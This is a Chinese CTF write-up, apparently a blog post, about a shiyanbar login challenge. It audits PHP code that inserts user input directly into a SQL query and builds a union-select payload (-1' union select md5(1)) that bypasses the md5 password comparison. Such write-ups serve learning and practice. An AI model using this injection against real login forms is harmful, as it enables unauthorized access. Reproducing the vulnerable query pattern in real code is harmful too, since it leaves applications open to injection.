实验吧--程序逻辑问题

看了一下实验吧的题,说是程序逻辑问题,一开始没找到源码,打开源码之后审计:

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]); //对密码进行md5加密

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {  //如果相等返回0,!0就是1 pass指经过md5加密
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

函数解释:

1.mysql_connect

 mysqli_connect(host,username,password,dbname,port,socket); 

打开或重复使用一个到 MySQL 服务器的连接。
如果成功则返回一个 MySQL 连接标识, 或者在失败时返回 FALSE。
在这里插入图片描述2.mysqli_select_db
mysqli_select_db() 函数用于更改连接的默认数据库。

 mysqli_select_db(connection,dbname); 

如果成功则返回 TRUE,如果失败则返回 FALSE。
3.->是对象执行方法或取得属性用的,在这里是检测连接
4.mysql_query(query,connection)
在这里插入图片描述
mysql_query() 函数执行一条 MySQL 查询。
mysql_query() 仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,如果查询执行不正确则返回 FALSE。
对于其它类型的 SQL 语句,mysql_query() 在执行成功时返回 TRUE,出错时返回 FALSE。
5.mysql_fetch_array()

mysql_fetch_array(data,array_type)

mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。将数据以数字索引方式储存在数组中。

<?php
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_array($result));

mysql_close($con);
?>
Array
(
[0] => Adams
[LastName] => Adams
[1] => John
[FirstName] => John
[2] => London
[City] => London
) 

6.strcasecmp()
比较两个字符串(不区分大小写)
在这里插入图片描述

构造payload:
select pw from php where user=’$user’

$user=a
a=-1’ union select md5(1)
此时 $pass就是md5(1)

$row = mysql_fetch_array($query, MYSQL_ASSOC)  
!strcasecmp($pass, $row[pw])  //$row[pw]就是select出来的md5(1)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值